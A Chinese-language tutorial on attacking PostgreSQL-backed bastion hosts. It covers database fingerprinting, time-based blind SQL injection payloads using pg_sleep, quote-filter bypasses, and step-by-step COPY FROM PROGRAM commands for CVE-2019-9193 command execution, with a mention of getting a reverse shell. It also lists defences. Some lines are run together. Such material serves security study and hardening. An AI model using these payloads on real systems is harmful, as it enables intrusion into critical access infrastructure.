Realworld下的堡垒机SQL RCE漏洞
字数 1286 2025-08-29 08:30:24
PostgreSQL 堡垒机 SQL 注入与 RCE 漏洞利用指南
1. 堡垒机安全概述
堡垒机(Bastion Host),也称为跳板机或运维安全审计系统,是用于管理和控制内部网络资源访问的安全设备。作为运维人员访问内部服务器和网络设备的唯一入口,它通过集中化的身份认证、权限管理和操作审计来确保运维操作的安全性和可追溯性。
2. 漏洞发现与初步探测
2.1 初始信息收集
- 目标系统通常通过SSH(22端口)或RDP(3389端口)提供服务
- 许多厂商自行实现SSH/RDP服务,可能存在漏洞
- 通过SSH banner信息可判断是否为自定义实现
2.2 数据库类型判断
判断目标数据库是否为PostgreSQL的方法:
- 端口判断:PostgreSQL默认使用5432端口
- 函数差异:
- 字符串长度函数:
lenvslength - 版本查询:
versionvs@@version - 子字符串函数:
substringvssubstr
- 字符串长度函数:
- 特殊符号处理:观察数据库对特定符号的处理方式
- 系统表判断:
- MySQL(version>5.0):
information_schema - Oracle:
all_tables - SQL Server:
sysobjects
- MySQL(version>5.0):
- 盲注函数:PostgreSQL特有的函数行为
3. PostgreSQL 盲注技术
3.1 时间盲注检测
如果服务器响应时间随有效负载明显增加(约20秒),则可能存在漏洞。
-
参数为整数时:
pg_sleep(20); -- - -
参数为字符串时:
'||pg_sleep(20); -- -
3.2 绕过技术
-
引号限制绕过:
- 使用
$符号定义标签:
等价于:SELECT $quote$test$quote$;SELECT 'test'; - 使用
CHR()函数拼接字符串
- 使用
-
条件判断:
PostgreSQL使用CASE WHEN语句代替IF:CASE WHEN condition THEN value1 ELSE value2 END
4. PostgreSQL 命令执行漏洞 (CVE-2019-9193)
4.1 漏洞概述
PostgreSQL 9.3-11.2版本中存在"COPY TO/FROM PROGRAM"功能,允许数据库超级用户及pg_read_server_files组中的用户执行操作系统命令。
4.2 漏洞利用步骤
-
删除可能存在的表(可选):
DROP TABLE IF EXISTS cmd_exec; -
创建保存命令输出的表:
CREATE TABLE cmd_exec(cmd_output text); -
执行系统命令:
COPY cmd_exec FROM PROGRAM 'id'; -
查看命令输出:
SELECT * FROM cmd_exec;
4.3 实际利用技巧
- 当有SSH密码长度限制时,可分段写入文件再执行
- 可通过此方法反弹shell获取系统权限
5. 防御措施
- 升级PostgreSQL:升级到11.3或更高版本
- 权限控制:
- 限制pg_read_server_files组权限
- 避免使用超级用户账户连接应用
- 输入验证:对所有用户输入进行严格过滤
- 最小权限原则:应用程序使用最低必要权限的数据库账户
- 禁用危险功能:如非必要,禁用COPY PROGRAM功能
6. 参考资源
- (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞 - FreeBuf网络安全行业门户
- PostgreSQL官方安全公告
附录:完整SSH交互Python脚本示例
(注:实际脚本应根据目标环境调整,此处略去具体实现细节)